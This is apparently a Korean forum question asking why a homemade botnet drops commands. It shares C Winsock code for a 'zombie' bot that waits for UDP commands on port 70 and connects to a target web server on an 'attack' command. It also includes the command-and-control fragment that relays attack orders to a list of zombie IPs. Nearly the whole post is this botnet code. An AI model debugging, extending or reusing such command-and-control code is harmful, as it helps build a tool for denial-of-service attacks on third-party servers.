CnC 서버와 좀비 pc간의 통신에서 질문드리고싶은게있습니다.
해커에서 명령을 보냈을때, 첫번째 명령은 drop되는데 두번째 명령은 drop이 안되더라구요
어디가 문제인지 감이 안잡힙니다.
코드 보여드릴게요.
\\\\\
Zombie
DWORD WINAPI command(LPVOID){
int retval,strLen;
SOCKET recv_sock;
recv_sock = socket(AF_INET, SOCK_DGRAM, 0);
SOCKADDR_IN servaddr;
ZeroMemory(&servaddr, sizeof(servaddr)); // 메모리의 값을 0을 초기화
servaddr.sin_family = AF_INET; // 고정, 다른값 사용X (PF_INET)
servaddr.sin_port = htons(70); // 좀비의 포트번호
servaddr.sin_addr.s_addr =htonl(INADDR_ANY); // 모든 ip에 개방
SOCKADDR_IN cncaddr;
retval =bind(recv_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));//70번 포트 개방
if(retval == SOCKET_ERROR) return -1; //대기
int cncaddr_sz;//ip 사이즈담을 변수
cncaddr_sz=sizeof(cncaddr);
while(1){
char cmd[30]="\0";
char *cmdptr1="";
char *cmdptr2="";
strLen=recvfrom(recv_sock, cmd, sizeof(cmd), 0, (SOCKADDR*)&cncaddr, &cncaddr_sz);
MessageBox(NULL,cmd,"zombie- recv command",MB_OK);
cmd[strLen]='\0';
cmdptr1=strtok(cmd," \0");
cmdptr2=strtok(NULL," \0");
if(strcmp(cmdptr1,"attack") ==0)
{
char a_success[40]="attack_command_recv_success";
strLen=sendto(recv_sock, a_success, strlen(a_success), 0, (SOCKADDR*)&cncaddr, sizeof(cncaddr));
MessageBox(NULL,a_success,"zombie_cnc_send_success",MB_OK);
SOCKET wep_sock=socket(AF_INET,SOCK_STREAM,0);// tcp용 소켓 만드는것.
SOCKADDR_IN wep_addr;//구조체 변수 선언
ZeroMemory(&wep_addr,sizeof(wep_addr));//무조건 초기화 하고사용
wep_addr.sin_family=AF_INET;//wep_addr 구조체 검색
wep_addr.sin_port=htons(80);//포트넘버
wep_addr.sin_addr.s_addr=inet_addr(cmdptr2);//double 구조체,#define INADDR_ANY 0 전처리기 활용
retval=connect(wep_sock,(SOCKADDR *)&wep_addr/*wep_addr의 정보를 sockaddr로 형변환*/,sizeof(wep_addr));
}
}
}
\\\\\\\\\\\\\\
CnC
else if(strcmp(cmdptr1,"attack")==0)
{
//web server attack function
SOCKET udp_sock;
udp_sock = socket(AF_INET, SOCK_DGRAM, 0);
//송신부
SOCKADDR_IN zom_addr;
ZeroMemory(&zom_addr, sizeof(zom_addr)); // 메모리의 값을 0을 초기화
zom_addr.sin_family = AF_INET; // 고정, 다른값 사용X (PF_INET)
zom_addr.sin_port = htons(70); // 서버의 포트번호
int strLen=0;
int zom_addr_sz;//ip 사이즈담을 변수
zom_addr_sz=sizeof(zom_addr);
for(int i=0;i<count;i++){
zom_addr.sin_addr.s_addr=zlist[i]; // *좀비의 Ip주소*
strLen=sendto(udp_sock, cp_cmd, strlen(cp_cmd), 0, (SOCKADDR*)&zom_addr, sizeof
(zom_addr));//attack command transmit
MessageBox(NULL,cp_cmd,"send command",MB_OK);
strLen=recvfrom(udp_sock, cmsg, sizeof(cmsg), 0
, (SOCKADDR*)&zom_addr, &zom_addr_sz); //transmitted success message
MessageBox(NULL,cmsg,"zom_cnc_recv_success",MB_OK);
text=send(client_sock,cmsg,strlen(cmsg),0);//after attack, send success message
MessageBox(NULL,cmsg,"cnc_hack_send_success",MB_OK);
}
}
Cnc까지는 명령이 잘가는데 왜 drop이 되거나 대기상태일까요>?